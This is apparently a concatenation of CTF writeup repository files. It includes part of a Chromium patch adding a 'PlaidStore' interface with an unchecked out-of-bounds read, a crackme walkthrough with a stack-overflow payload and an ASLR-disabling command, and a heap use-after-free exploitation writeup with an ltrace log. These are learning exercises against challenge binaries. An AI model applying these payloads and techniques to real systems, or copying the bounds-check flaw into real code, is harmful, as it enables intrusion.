a/content/browser/plaidstore/plaidstore_impl.cc b/content/browser/plaidstore/plaidstore_impl.cc 92 | new file mode 100644 93 | index 000000000000..3f6304173ceb 94 | --- /dev/null 95 | +++ b/content/browser/plaidstore/plaidstore_impl.cc 96 | @@ -0,0 +1,47 @@ 97 | +#include "content/browser/plaidstore/plaidstore_impl.h" 98 | +#include "content/public/browser/render_frame_host.h" 99 | +#include "mojo/public/cpp/bindings/self_owned_receiver.h" 100 | + 101 | +namespace content { 102 | + 103 | +PlaidStoreImpl::PlaidStoreImpl( 104 | + RenderFrameHost *render_frame_host) 105 | + : render_frame_host_(render_frame_host) {} 106 | + 107 | +PlaidStoreImpl::~PlaidStoreImpl() {} 108 | + 109 | +void PlaidStoreImpl::StoreData( 110 | + const std::string &key, 111 | + const std::vector &data) { 112 | + if (!render_frame_host_->IsRenderFrameLive()) { 113 | + return; 114 | + } 115 | + data_store_[key] = data; 116 | +} 117 | + 118 | +void PlaidStoreImpl::GetData( 119 | + const std::string &key, 120 | + uint32_t count, 121 | + GetDataCallback callback) { 122 | + if (!render_frame_host_->IsRenderFrameLive()) { 123 | + std::move(callback).Run({}); 124 | + return; 125 | + } 126 | + auto it = data_store_.find(key); 127 | + if (it == data_store_.end()) { 128 | + std::move(callback).Run({}); 129 | + return; 130 | + } 131 | + std::vector result(it->second.begin(), it->second.begin() + count); 132 | + std::move(callback).Run(result); 133 | +} 134 | + 135 | +// static 136 | +void PlaidStoreImpl::Create( 137 | + RenderFrameHost *render_frame_host, 138 | + mojo::PendingReceiver receiver) { 139 | + mojo::MakeSelfOwnedReceiver(std::make_unique(render_frame_host), 140 | + std::move(receiver)); 141 | +} 142 | + 143 | +} // namespace content 144 | diff --git a/content/browser/plaidstore/plaidstore_impl.h b/content/browser/plaidstore/plaidstore_impl.h 145 | new file mode 100644 146 | index 000000000000..42363c1ddf09 147 | --- /dev/null 148 | +++ b/content/browser/plaidstore/plaidstore_impl.h 149 | @@ -0,0 +1,35 @@ 150 | +#include 151 | +#include 152 | + 153 | +#include "third_party/blink/public/mojom/plaidstore/plaidstore.mojom.h" 154 | + 155 | +namespace content { 156 | + 157 | +class RenderFrameHost; 158 | + 159 | +class PlaidStoreImpl : public blink::mojom::PlaidStore { 160 | + public: 161 | + explicit PlaidStoreImpl(RenderFrameHost *render_frame_host); 162 | + 163 | + static void Create( 164 | + RenderFrameHost* render_frame_host, 165 | + mojo::PendingReceiver receiver); 166 | + 167 | + ~PlaidStoreImpl() override; 168 | + 169 | + // PlaidStore overrides: 170 | + void StoreData( 171 | + const std::string &key, 172 | + const std::vector &data) override; 173 | + 174 | + void GetData( 175 | + const std::string &key, 176 | + uint32_t count, 177 | + GetDataCallback callback) override; 178 | + 179 | + private: 180 | + RenderFrameHost* render_frame_host_; 181 | + std::map > data_store_; 182 | +}; 183 | + 184 | +} // namespace content 185 | diff --git a/third_party/blink/public/mojom/BUILD.gn b/third_party/blink/public/mojom/BUILD.gn 186 | index c33e993abf2c..583393dacc49 100644 187 | --- a/third_party/blink/public/mojom/BUILD.gn 188 | +++ b/third_party/blink/public/mojom/BUILD.gn 189 | @@ -101,6 +101,7 @@ mojom("mojom_platform") { 190 | "permissions/permission_automation.mojom", 191 | "permissions/permission_status.mojom", 192 | "picture_in_picture/picture_in_picture.mojom", 193 | + "plaidstore/plaidstore.mojom", 194 | "plugins/plugin_registry.mojom", 195 | "presentation/presentation.mojom", 196 | "push_messaging/push_messaging.mojom", 197 | diff --git a/third_party/blink/public/mojom/plaidstore/plaidstore.mojom b/third_party/blink/public/mojom/plaidstore/plaidstore.mojom 198 | new file mode 100644 199 | index 000000000000..b1e02580b1dd 200 | --- /dev/null 201 | +++ b/third_party/blink/public/mojom/plaidstore/plaidstore.mojom 202 | @@ -0,0 +1,11 @@ 203 | +module blink.mojom; 204 | + 205 | +// This interface provides a data store 206 | +interface PlaidStore { 207 | + 208 | + // Stores data in the data store 209 | + StoreData(string key, array data); 210 | + 211 | + // Gets data from the data store 212 | + GetData(string key, uint32 count) => (array data); 213 | +}; 214 | -------------------------------------------------------------------------------- /GCI/CrackIt/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "CrackIt, GCI" 3 | date: 2019-12-06T13:33:37+07:00 4 | Tags: ["GCI","CodeIn","Google","easy","reverse"] 5 | Language: ["English"] 6 | --- 7 | 8 | CrackIT 9 | === 10 | 11 | Writeup for CrackIt task at Google CodeIn 2019 12 | 13 | ## 1stcrackme 14 | 15 | easy, you can use `strings 1stcrackme` to list all strings in binary 16 | 17 | stripped output: 18 | ``` 19 | Enter password: 20 | FEDORAGCIPASSEASY 21 | Success! 22 | Error! Wrong password! 23 | ``` 24 | 25 | Because the password should be around the prompt and the so we could try `FEDORAGCIPASSEASY` because it looks like a password 26 | (my intuition, please don't ask) 27 | 28 | And it works 29 | ``` 30 | [user@archlinux Crackit-GCI]$ ./1stcrackme 31 | Enter password: FEDORAGCIPASSEASY 32 | Success! 33 | Enter password: 34 | ``` 35 | When I enter the string again, It didn't work. At this point I look the `strings` output again and then I saw 2 more suspicious strings 36 | ``` 37 | 0x1337 38 | 0x133337 39 | ``` 40 | Yeah, Who doesn't want to be l33t ;) 41 | 42 | So I opened it in Ghidra to checkout the whole logic. 43 | 44 | ```c 45 | undefined8 main(void) 46 | { 47 | int iVar1; 48 | char local_78 [112]; 49 | 50 | printf("Enter password: "); 51 | __isoc99_scanf(&DAT_00102015,local_78); 52 | iVar1 = strcmp(local_78,"FEDORAGCIPASSEASY"); 53 | if (iVar1 == 0) { 54 | puts("Success!\r"); 55 | } 56 | else { 57 | puts("Error! Wrong password!\r"); 58 | } 59 | printf("Enter password: "); 60 | __isoc99_scanf(&DAT_00102015,local_78); 61 | iVar1 = strcmp(local_78,"0x1337"); 62 | if (iVar1 == 0) { 63 | puts("Success!\r"); 64 | } 65 | else { 66 | puts("Error! Wrong password!\r"); 67 | } 68 | printf("Enter password: "); 69 | __isoc99_scanf(&DAT_00102015,local_78); 70 | iVar1 = strcmp(local_78,"0x133337"); 71 | if (iVar1 == 0) { 72 | puts("Success!\r"); 73 | } 74 | else { 75 | puts("Error! Wrong password!\r"); 76 | } 77 | return 0; 78 | } 79 | ``` 80 | 81 | Look at the `s2` parameter of `strcmp` call that compares our input with that hardcoded password, 82 | 83 | we solved all 3 password challenges of this program. 84 | 85 | ``` 86 | [user@archlinux Crackit-GCI]$ ./1stcrackme 87 | Enter password: FEDORAGCIPASSEASY 88 | Success! 89 | Enter password: 0x1337 90 | Success! 91 | Enter password: 0x133337 92 | Success! 93 | ``` 94 | 95 | ## 2ndcrackme 96 | 97 | ``` 98 | [user@archlinux Crackit-GCI]$ ./2ndcrackme 99 | usage: 100 | ./2ndcrackme 101 | ``` 102 | okok, so the binary requires us to put the password on the CLI paramter. I put a random string there. 103 | 104 | ``` 105 | [user@archlinux Crackit-GCI]$ ./2ndcrackme a 106 | Error! Wrong Password! 107 | ``` 108 | 109 | The `strings` command output doesn't show any suspicious strings like before, so I use `ltrace` 110 | 111 | Here is the output 112 | 113 | ``` 114 | [user@archlinux Crackit-GCI]$ ltrace ./2ndcrackme a 115 | strcmp("a", "FEd0raGCIt@sk") = 27 116 | puts("Error! Wrong Password!"Error! Wrong Password! 117 | ) = 23 118 | +++ exited (status 0) +++ 119 | ``` 120 | We can see that the program does `strcmp` our supplied password with another string 121 | 122 | that seems to be hardcoded in a way that it doesn't show up in `strings` 123 | 124 | ``` 125 | [user@archlinux Crackit-GCI]$ ./2ndcrackme FEd0raGCIt@sk 126 | Success! 127 | ``` 128 | Solved 129 | 130 | ## 3rdcrackme 131 | 132 | Okay, I open the binary in GHIDRA 133 | 134 | ```c 135 | undefined8 main(void) 136 | 137 | { 138 | int iVar1; 139 | char local_48 [32]; 140 | undefined8 local_28; 141 | undefined8 local_20; 142 | undefined4 local_18; 143 | undefined2 local_14; 144 | int local_c; 145 | 146 | local_28 = 0x306b403136673030; 147 | local_20 = 0x313531646e616c30; 148 | local_18 = 0x6c656334; 149 | local_14 = 0x21; 150 | local_c = 0; 151 | printf("Enter the password! "); 152 | gets(local_48); 153 | iVar1 = memcmp(local_48,&local_28,0x16); 154 | if (iVar1 == 0) { 155 | local_c = 1; 156 | } 157 | puts("\nChecking password...\n"); 158 | if (local_c != 0) { 159 | puts("Successfully logged in!\nGood job!"); 160 | /* WARNING: Subroutine does not return */ 161 | exit(0); 162 | } 163 | puts("Login failed!"); 164 | return 0; 165 | } 166 | ``` 167 | 168 | So it `gets` our password from `stdin` and then `memcmp` with a pointer(`&local_28`) and the size is 0x16 169 | 170 | There're 5 integers which is intialized with 5 hexadecimal integers 171 | 172 | By intuition, I immediately realized that those hexs are actually ASCII character. 173 | 174 | Because Ghidra doesn't know the types of those variable, It splits them into 5 integers. 175 | 176 | The integers are named after their locations on the stack (offset from stack base). 177 | 178 | Also, because characters are represented in memory just like integers, it's just the way we understand it matters. 179 | 180 | Knowning that, we convert those integers to characters. 181 | 182 | Don't forget our architecture is Little endian so we have to reverse the byte order... 183 | 184 | Anyway, I checkout the assembly code of that pseudo code. 185 | 186 | ``` 187 | 001011af 48 b8 30 MOV RAX,"00g61@k0" 188 | 30 67 36 189 | 31 40 6b 30 190 | 001011b9 48 ba 30 MOV RDX,"0land151" 191 | 6c 61 6e 192 | 64 31 35 31 193 | 001011c3 48 89 45 e0 MOV qword ptr [RBP + local_28],RAX 194 | 001011c7 48 89 55 e8 MOV qword ptr [RBP + local_20],RDX 195 | 001011cb c7 45 f0 MOV dword ptr [RBP + local_18],"4cel" 196 | 34 63 65 6c 197 | 001011d2 66 c7 45 MOV word ptr [RBP + local_14],'!' 198 | f4 21 00 199 | ``` 200 | and let Ghidra do the conversation for me. 201 | 202 | So in the program memory, It should be `00g61@k00land1514cel!`, 203 | 204 | which is `local_28+local_20+local_18+local_14+local_c` 205 | 206 | (plus is understood as string concatenation) 207 | 208 | The `memcmp` get the pointer to the first character in the 209 | 210 | Knowing the value that our password is going to be compare with, we solved the problem. 211 | 212 | ``` 213 | [user@archlinux Crackit-GCI]$ ./3rdcrackme 214 | Enter the password! 00g61@k00land1514cel! 215 | 216 | Checking password... 217 | 218 | Successfully logged in! 219 | Good job! 220 | ``` 221 | . 222 | 223 | . 224 | 225 | . 226 | 227 | Wait, there's more. 228 | 229 | The program used `gets` to read a string to the stack without size limitations. 230 | 231 | This exposes the program to a buffer-over-flow vulnerbility. 232 | 233 | We can overwrite those variables, including the correct password. 234 | 235 | Here is a better pseudo code to look at. 236 | 237 | ```c 238 | int __cdecl main(int argc, const char **argv, const char **envp) 239 | { 240 | char input[32]; // [rsp+0h] [rbp-40h] 241 | char password[28]; // [rsp+20h] [rbp-20h] 242 | int v6; // [rbp-8h] 243 | strcpy(password, "00g61@k00land1514cel!"); 244 | v6 = 0; 245 | printf("Enter the password! ", argv); 246 | gets(input); 247 | if ( !memcmp(input, password, 0x16uLL) ) 248 | v6 = 1; 249 | puts("\nChecking password...\n"); 250 | if ( *(_DWORD *)&password[28] ) 251 | { 252 | puts("Successfully logged in!\nGood job!"); 253 | exit(0); 254 | } 255 | puts("Login failed!"); 256 | return 0; 257 | } 258 | ``` 259 | 260 | At here, you can see the intialized correct password. 261 | 262 | By the way, strcpy might have been optimized so you won't see it in the binary. 263 | 264 | The input is located on top of the password. Which means that on the right of the `input` is the intialized `password` 265 | 266 | Memory: 267 | ``` 268 | Low------------------->High 269 | |input(32bytes)|password(28 bytes)|v6(4 bytes)|sp(8 bytes)|ip(8 bytes)| 270 | ``` 271 | 272 | So we can overwrite the password and make the input identical with the `password`. 273 | 274 | ``` 275 | [user@archlinux Crackit-GCI]$ ./3rdcrackme 276 | Enter the password! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 277 | Checking password... 278 | Successfully logged in! 279 | Good job! 280 | ``` 281 | 282 | . 283 | 284 | . 285 | 286 | . 287 | 288 | Not so fast, Until I checkout the function list, I found a function named `secret` which seems to be our real destination. 289 | 290 | The buffer-over-flow vulnerbility here is so powerful that it can drive us into any functions. 291 | 292 | P/s: The memory representation up there still applied here. 293 | 294 | IP = Instruction Pointer. It is saved there so we can return to our previous function. But if we overwrite it, we can go anywhere we want! 295 | 296 | P/s 2: For the next part, I'm gonna disable Linux's ASLR: 297 | 298 | Run this command from root shell. 299 | ``` 300 | # echo 0 > /proc/sys/kernel/randomize_va_space 301 | ``` 302 | 303 | So if we overwrite `ip` with `secret`'s address, we can get there. 304 | 305 | `secret` is at 0x555555555175, we convert that address to bytes then put it at the `ip`, which is at 66 bytes from the start of our `input`. 306 | 307 | Oh, by the way, If `exit(0)` is called, `ip` won't be used as `exit` use a short-circuit path to exit the program. 308 | 309 | So you will need the password to be incorrect to reach there. 310 | 311 | Because the comparison result(`v6`) is also saved on the stack, 312 | 313 | we need to overwrite it with 4 zero bytes (because it is an integer) to force it to be zero. 314 | 315 | If you overwrite it with non-zero bytes, it will `exit(0)` and we can't get `secret` running. 316 | 317 | Here is the command to prepare the input and _pipe_ it in to the program. 318 | 319 | ``` 320 | $ python -c "print('\x41'*0x20+'\x42'*0x1c+'\x00'*4+'\xde\xad\xbe\xef'+'\x75\x51\x55\x55\x55\x55')" \ 321 | | ./3rdcrackme 322 | Enter the password! 323 | Checking password... 324 | 325 | Login failed! 326 | You found the secret function! 327 | Congrats! 328 | The password is: FEDORAPASSWORDGCI! 329 | ``` 330 | 331 | Thanks for reading! 332 | 333 | -------------------------------------------------------------------------------- /AceBear2019/house_of_loop/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "AceBear Security Contest House-of-loop" 3 | date: 2019-04-08T14:35:17+07:00 4 | Tags: ["AceBear", "CTF", "pwn","heap"] 5 | Language: ["English"] 6 | --- 7 | 8 | # House-of-loop 9 | Hi everyone, this is the writeup for the challenge _House-of-loop_ in the _AceBear Security Contest 2019_ 10 | 11 | You may want to checkout the [exploit code](https://github.com/TrungNguyen1909/writeups/tree/master/AceBear2019/house_of_loop) 12 | 13 | ## Description 14 | 15 | We are given a stripped ELF x64 binary which can be interacted with, our task is to get remote code execution(RCE). 16 | 17 | The binary presents us 3 options: Create, View and Delete a note. 18 | 19 | When creating a note, we have 3 fields: Title, Private, and Description. 20 | 21 | We have the limits on `Title`, `Private` field length but with Description, we can use as much as we specified. 22 | 23 | When viewing a note, we can view the `Title` and `Description` fields but not Private. 24 | 25 | When deleting a note, we specify the `Title` of the note which we want to delete and then it will be removed from the view. 26 | 27 | I spent 1h30 to reverse and understand the binary and decompile the binary. 28 | 29 | The fully decompiled program is at [here](./house_of_loop.c). 30 | 31 | EDIT: Almost forgot, I used `syms2elf` plugin to get the function symbols into the executable (a.k.a de-strip) :) 32 | 33 | ## Technical Details 34 | 35 | When creating a note, it `malloc(144)` for the note, note’s title is at offset 96 of the struct. 36 | 37 | The title is null-terminated at offset 25 although we can write 32bytes. 38 | 39 | Private data is written to the beginning(offset 0). 40 | 41 | Lastly, It asks us for the description size, malloc enough data, zero it out, finally read in an exact number of bytes. 42 | 43 | The address of the description is then saved in its field. 44 | 45 | Then the program goes on a check if it was the first note created or loop through the singly-linked list until the `next_note` field is null, it puts the address of the newly-created note there. 46 | 47 | When deleting a note, it loops through the linked list to find the note with the matched title, _unlink_ it from the singly-linked-list then free its data and itself. 48 | 49 | ## Bugs 50 | 51 | While reversing the binary, I found out that the `next_note` field is not initialized at the time of creating and clear it at the time of deletion. 52 | 53 | So it left a dangling pointer there and also picked up the dangling pointer which is left there earlier. 54 | 55 | So that opens us a use-after-free vulnerability. 56 | 57 | Meanwhile, it creates a problem that if we are careless, we can put the program in an endless loop by having the `next_note` field points (directly/indirectly) to itself. 58 | 59 | After hours of trying the program, I also found a critical logic bug. 60 | 61 | The chunk that is malloc-ed to store the Description is memset by the size we entered but not the _actual_ chunk size. 62 | 63 | Which means, if we create a 0-sized description, it will then `malloc(0)`, which gives 16 bytes, then `memset(chunk,0,0)` (which is nonsense). 64 | 65 | So, we got an information disclosure of anything that was there before :) 66 | 67 | ## Exploit 68 | 69 | ### Checksec 70 | 71 | ``` 72 | [+] checksec for '/root/house_of_loop/house_of_loop' 73 | Canary: Yes 74 | NX: Yes 75 | PIE: Yes 76 | Fortify: No 77 | RelRO: Full 78 | ``` 79 | 80 | ### Information Disclosure 81 | To leak a pointer, we can use the _0-sized_ description to leak the FD, BK of that chunk. 82 | 83 | FYI, FD, BK pointers are used when a chunk is freed to points to the next free one. 84 | 85 | That’s cool, we can easily leak the heap address. 86 | 87 | But what about libc? Where can I find it? 88 | 89 | Since glibc 2.26 with the introduction of `tcache`, we have a _libc-info-leak_ 90 | 91 | A chunk inside the unsorted bin will have a pointer to an libc address in the `fd` if that is the last chunk and in `bk`, if it was the first one. 92 | 93 | [Reference](http://eternal.red/2018/children_tcache-writeup-and-tcache-overview/) 94 | 95 | In my exploit, at line 67, I allocate a description that is big enough to go to the unsorted-bin, then I freed it, try to re-allocate that chunk with a _0-sized_ description. Because it was the last chunk, there will be a pointer :) 96 | 97 | There was a reason why I also free the last chunk allocated. If we don’t do so, the last chunk we allocated will point to that chunk, but the dangling pointer there will throw us a ∞ loop 98 | 99 | In other words, let consider the heap currently be allocated like this 100 | 101 | ``` 102 | | A | B | C | D | 103 | v ^ v ^ v ^ 104 | └──────────┘ └──────────┘ └──────┘ 105 | ``` 106 | A is that big chunk, D is the last one we allocated. 107 | 108 | The line represents the linked list pointer to the next note. They **don’t** go away upon deleting. 109 | 110 | When you free A, then reallocate it, it will stay at the same position but with the pointer. 111 | 112 | D will the points to A(the next one allocated) then A->B->C->D => ∞ loop 113 | 114 | By also free D after A, these things happen: 115 | 116 | - D's `next_note`(which is 0 because it is the last one) will be saved to C, which marks C as the last note. 117 | 118 | - Because of malloc’s natural of a first-fit algorithm, the reallocated one will have the struct lied on D’s location and the description at A’s description. 119 | 120 | - Because D has `next_note` field equal to 0 so it will be the last note(the previous one is C) 121 | 122 | - The address will be at the description of the last allocated note. 123 | 124 | - And that’s how you leak the libc address. 125 | 126 | You can see the execution trace at [here](./libc_leak_trace.txt) 127 | 128 | ### From UAF to ACE 129 | 130 | So the only field that was not initialized was `next_note`, so how can we control it? 131 | 132 | To leave there an arbitrary pointer, we need to create another note that has the description size is the same size as the note structure. 133 | 134 | Then we can attempt to re-allocate the description(which we have full control) as the note structure. 135 | 136 | To re-allocate it, firstly, we will need to allocate a note that has the description’s size strictly greater than the note structure. 137 | 138 | By doing that, we can make sure that our crafted struct is not being used as the description of the other note. 139 | 140 | Then, the next note we allocate will lie on our crafted struct 141 | 142 | Illustration 143 | 144 | Before: 145 | 146 | ``` 147 | | A | data of A(144)| B | data of B(144)| 148 | | crafted | 149 | ``` 150 | 151 | After: 152 | 153 | ``` 154 | | C | D | B | data of B(144)| Data of C(144+) | 155 | ``` 156 | 157 | But…, what will we put there…??? 158 | 159 | Okay, we will set up an arbitrary-write primitive. 160 | 161 | The GOT is Fully Protected, which mean it is read-only 162 | 163 | Now, we are introducing to you the MALLOC HOOKS 164 | 165 | The malloc hooks are available for debugging heap purpose, and it’s executed before any malloc operations 166 | 167 | If the data at variable `__free_hook` or `__malloc_hook` is not NULL, it will be executed. 168 | 169 | So, if we write the address we want there, and we will have ACE (Arbitrary Code Execution) 170 | 171 | Ideally, you may want to write an address of a `one_gadget` there for the sake of simplicity. 172 | 173 | But how? 174 | 175 | Let’s check out this piece of code: 176 | 177 | ```c 178 | int del_note(){ 179 | //tbf_note: to be freed note 180 | //prev_note: the previous note of the one we want to free 181 | //s1: the title of the note we want to free 182 | ... 183 | for ( tbf_note = first_note; tbf_note && strncmp(&s1, tbf_note->title, 0x20uLL); tbf_note = tbf_note->next_note ) 184 | prev_note = tbf_note; 185 | if ( tbf_note ) 186 | { 187 | if ( prev_note ) 188 | prev_note->next_note = tbf_note->next_note; 189 | else 190 | first_note = tbf_note->next_note; 191 | free(tbf_note->data); 192 | free(tbf_note); 193 | ... 194 | } 195 | ``` 196 | 197 | As you can see, the program finds the note that we want to delete then does this piece of code: 198 | 199 | `prev_note->next_note = tbf_note->next_note;` 200 | 201 | It takes the address of the note that goes after the note will want to free, and then make it be the `next_note` of the note that comes before the one we want to free. 202 | 203 | Illustration!!! 204 | 205 | Before: 206 | 207 | ``` 208 | | A | B | C | 209 | v ^ v ^ 210 | └──────────┘ └──────────┘ 211 | ``` 212 | 213 | After: 214 | 215 | ``` 216 | | A | freed | C | 217 | v ^ 218 | └────────────────────────┘ 219 | ``` 220 | 221 | Basically, what it does it _unlink_ that note from the linked list 222 | 223 | > Hey, have you learned the old-school dlmalloc unlink exploit yet? 224 | 225 | The idea is simple, 226 | - Let's make the A note lie on somewhere near `__free_hook` 227 | 228 | - Use the _use-after-free` vuln to make `__free_hook` address as the `next_note` 229 | 230 | - Create a new note from A(Let's called it B) 231 | 232 | - Then we _unlink_ B off the linked_list 233 | 234 | - Anything at B->next_note will be put in A->next_note !!!! (Isn't that Arbitrary Write?) 235 | 236 | => Let's make `__free_hook` is also the `next_note` field of A :) 237 | 238 | > Isn't that the famous dlmalloc unlink exploit? ;) 239 | 240 | Friendly Reminder: Don't forget to fill up the heap holes you created by any stage of this exploit :) 241 | 242 | [UAF->AW->ACE trace](./UAF-AW-ACE-trace.txt) 243 | 244 | ## Shoutout to 245 | 246 | - chung96vn for creating this challenge(or the opportunity for me to learn heap exploit :)) 247 | 248 | - [This writeup](http://eternal.red/2018/children_tcache-writeup-and-tcache-overview/) 249 | 250 | - [@ducphanduyagentP for letting me know about syms2elf](https://protegototalum.faith/post/csaw-ctf-17-qual/) 251 | 252 | - You, Yes. You, for staying till this end of this writeup :) 253 | -------------------------------------------------------------------------------- /AceBear2019/house_of_loop/libc_leak_trace.txt: -------------------------------------------------------------------------------- 1 | puts("\n*******************************"...) = 50 2 | puts("* "...) = 49 3 | puts("* 1 - Add Note "...) = 49 4 | puts("* 2 - View Note "...) = 49 5 | puts("* 3 - Del Note "...) = 49 6 | puts("* 4 - Exit "...) = 49 7 | puts("* "...) = 49 8 | puts("********************************"...) = 49 9 | printf("Your choice: ") = 13 10 | read(0, "1\n", 16) = 2 11 | atoi(0x7ffc9ac88040, 0x7ffc9ac88040, 1, 0x7ff5e871e081) = 1 12 | malloc(144) = 0x555f1dcca560 13 | printf("Title: ") = 7 14 | read(0, "7\n", 32) = 2 15 | printf("Private: ") = 9 16 | read(0, "\n", 96) = 1 17 | printf("Size of des: ") = 13 18 | read(0, "4096\n", 16) = 5 19 | atoi(0x7ffc9ac88010, 0x7ffc9ac88010, 4, 0x7ff5e871e081) = 4096 20 | printf("Des: ") = 5 21 | malloc(4096) = 0x555f1dcca600 22 | memset(0x555f1dcca600, '\0', 4096) = 0x555f1dcca600 23 | read(0, "\n", 4096) = 1 24 | puts("Done~") = 6 25 | puts("\n*******************************"...) = 50 26 | puts("* "...) = 49 27 | puts("* 1 - Add Note "...) = 49 28 | puts("* 2 - View Note "...) = 49 29 | puts("* 3 - Del Note "...) = 49 30 | puts("* 4 - Exit "...) = 49 31 | puts("* "...) = 49 32 | puts("********************************"...) = 49 33 | printf("Your choice: ") = 13 34 | read(0, "1\n", 16) = 2 35 | atoi(0x7ffc9ac88040, 0x7ffc9ac88040, 1, 0x7ff5e871e081) = 1 36 | malloc(144) = 0x555f1dccb610 37 | printf("Title: ") = 7 38 | read(0, "8\n", 32) = 2 39 | printf("Private: ") = 9 40 | read(0, "\n", 96) = 1 41 | printf("Size of des: ") = 13 42 | read(0, "144\n", 16) = 4 43 | atoi(0x7ffc9ac88010, 0x7ffc9ac88010, 3, 0x7ff5e871e081) = 144 44 | printf("Des: ") = 5 45 | malloc(144) = 0x555f1dccb6b0 46 | memset(0x555f1dccb6b0, '\0', 144) = 0x555f1dccb6b0 47 | read(0, "\n", 144) = 1 48 | puts("Done~") = 6 49 | puts("\n*******************************"...) = 50 50 | puts("* "...) = 49 51 | puts("* 1 - Add Note "...) = 49 52 | puts("* 2 - View Note "...) = 49 53 | puts("* 3 - Del Note "...) = 49 54 | puts("* 4 - Exit "...) = 49 55 | puts("* "...) = 49 56 | puts("********************************"...) = 49 57 | printf("Your choice: ") = 13 58 | read(0, "1\n", 16) = 2 59 | atoi(0x7ffc9ac88040, 0x7ffc9ac88040, 1, 0x7ff5e871e081) = 1 60 | malloc(144) = 0x555f1dccb750 61 | printf("Title: ") = 7 62 | read(0, "9\n", 32) = 2 63 | printf("Private: ") = 9 64 | read(0, "\n", 96) = 1 65 | printf("Size of des: ") = 13 66 | read(0, "144\n", 16) = 4 67 | atoi(0x7ffc9ac88010, 0x7ffc9ac88010, 3, 0x7ff5e871e081) = 144 68 | printf("Des: ") = 5 69 | malloc(144) = 0x555f1dccb7f0 70 | memset(0x555f1dccb7f0, '\0', 144) = 0x555f1dccb7f0 71 | read(0, "\n", 144) = 1 72 | puts("Done~") = 6 73 | puts("\n*******************************"...) = 50 74 | puts("* "...) = 49 75 | puts("* 1 - Add Note "...) = 49 76 | puts("* 2 - View Note "...) = 49 77 | puts("* 3 - Del Note "...) = 49 78 | puts("* 4 - Exit "...) = 49 79 | puts("* "...) = 49 80 | puts("********************************"...) = 49 81 | printf("Your choice: ") = 13 82 | read(0, "1\n", 16) = 2 83 | atoi(0x7ffc9ac88040, 0x7ffc9ac88040, 1, 0x7ff5e871e081) = 1 84 | malloc(144) = 0x555f1dccb890 85 | printf("Title: ") = 7 86 | read(0, "10\n", 32) = 3 87 | printf("Private: ") = 9 88 | read(0, "\n", 96) = 1 89 | printf("Size of des: ") = 13 90 | read(0, "144\n", 16) = 4 91 | atoi(0x7ffc9ac88010, 0x7ffc9ac88010, 3, 0x7ff5e871e081) = 144 92 | printf("Des: ") = 5 93 | malloc(144) = 0x555f1dccb930 94 | memset(0x555f1dccb930, '\0', 144) = 0x555f1dccb930 95 | read(0, "\n", 144) = 1 96 | puts("Done~") = 6 97 | puts("\n*******************************"...) = 50 98 | puts("* "...) = 49 99 | puts("* 1 - Add Note "...) = 49 100 | puts("* 2 - View Note "...) = 49 101 | puts("* 3 - Del Note "...) = 49 102 | puts("* 4 - Exit "...) = 49 103 | puts("* "...) = 49 104 | puts("********************************"...) = 49 105 | printf("Your choice: ") = 13 106 | read(0, "1\n", 16) = 2 107 | atoi(0x7ffc9ac88040, 0x7ffc9ac88040, 1, 0x7ff5e871e081) = 1 108 | malloc(144) = 0x555f1dccb9d0 109 | printf("Title: ") = 7 110 | read(0, "11\n", 32) = 3 111 | printf("Private: ") = 9 112 | read(0, "\n", 96) = 1 113 | printf("Size of des: ") = 13 114 | read(0, "144\n", 16) = 4 115 | atoi(0x7ffc9ac88010, 0x7ffc9ac88010, 3, 0x7ff5e871e081) = 144 116 | printf("Des: ") = 5 117 | malloc(144) = 0x555f1dccba70 118 | memset(0x555f1dccba70, '\0', 144) = 0x555f1dccba70 119 | read(0, "\n", 144) = 1 120 | puts("Done~") = 6 121 | puts("\n*******************************"...) = 50 122 | puts("* "...) = 49 123 | puts("* 1 - Add Note "...) = 49 124 | puts("* 2 - View Note "...) = 49 125 | puts("* 3 - Del Note "...) = 49 126 | puts("* 4 - Exit "...) = 49 127 | puts("* "...) = 49 128 | puts("********************************"...) = 49 129 | printf("Your choice: ") = 13 130 | read(0, "3\n", 16) = 2 131 | atoi(0x7ffc9ac88040, 0x7ffc9ac88040, 1, 0x7ff5e871e081) = 3 132 | printf("Title: ") = 7 133 | read(0, "7\n", 32) = 2 134 | strncmp("7", "3", 32) = 4 135 | strncmp("7", "4", 32) = 3 136 | strncmp("7", "5", 32) = 2 137 | strncmp("7", "6", 32) = 1 138 | strncmp("7", "7", 32) = 0 139 | free(0x555f1dcca600) = 140 | free(0x555f1dcca560) = 141 | puts("Done") = 5 142 | puts("\n*******************************"...) = 50 143 | puts("* "...) = 49 144 | puts("* 1 - Add Note "...) = 49 145 | puts("* 2 - View Note "...) = 49 146 | puts("* 3 - Del Note "...) = 49 147 | puts("* 4 - Exit "...) = 49 148 | puts("* "...) = 49 149 | puts("********************************"...) = 49 150 | printf("Your choice: ") = 13 151 | read(0, "3\n", 16) = 2 152 | atoi(0x7ffc9ac88040, 0x7ffc9ac88040, 1, 0x7ff5e871e081) = 3 153 | printf("Title: ") = 7 154 | read(0, "11\n", 32) = 3 155 | strncmp("11", "3", 32) = -2 156 | strncmp("11", "4", 32) = -3 157 | strncmp("11", "5", 32) = -4 158 | strncmp("11", "6", 32) = -5 159 | strncmp("11", "8", 32) = -7 160 | strncmp("11", "9", 32) = -8 161 | strncmp("11", "10", 32) = 1 162 | strncmp("11", "11", 32) = 0 163 | free(0x555f1dccba70) = 164 | free(0x555f1dccb9d0) = 165 | puts("Done") = 5 166 | puts("\n*******************************"...) = 50 167 | puts("* "...) = 49 168 | puts("* 1 - Add Note "...) = 49 169 | puts("* 2 - View Note "...) = 49 170 | puts("* 3 - Del Note "...) = 49 171 | puts("* 4 - Exit "...) = 49 172 | puts("* "...) = 49 173 | puts("********************************"...) = 49 174 | printf("Your choice: ") = 13 175 | read(0, "1\n", 16) = 2 176 | atoi(0x7ffc9ac88040, 0x7ffc9ac88040, 1, 0x7ff5e871e081) = 1 177 | malloc(144) = 0x555f1dccb9d0 178 | printf("Title: ") = 7 179 | read(0, "12\n", 32) = 3 180 | printf("Private: ") = 9 181 | read(0, "\n", 96) = 1 182 | printf("Size of des: ") = 13 183 | read(0, "0\n", 16) = 2 184 | atoi(0x7ffc9ac88010, 0x7ffc9ac88010, 1, 0x7ff5e871e081) = 0 185 | printf("Des: ") = 5 186 | malloc(0) = 0x555f1dcca600 187 | memset(0x555f1dcca600, '\0', 0) = 0x555f1dcca600 188 | read(0, "", 0) = 0 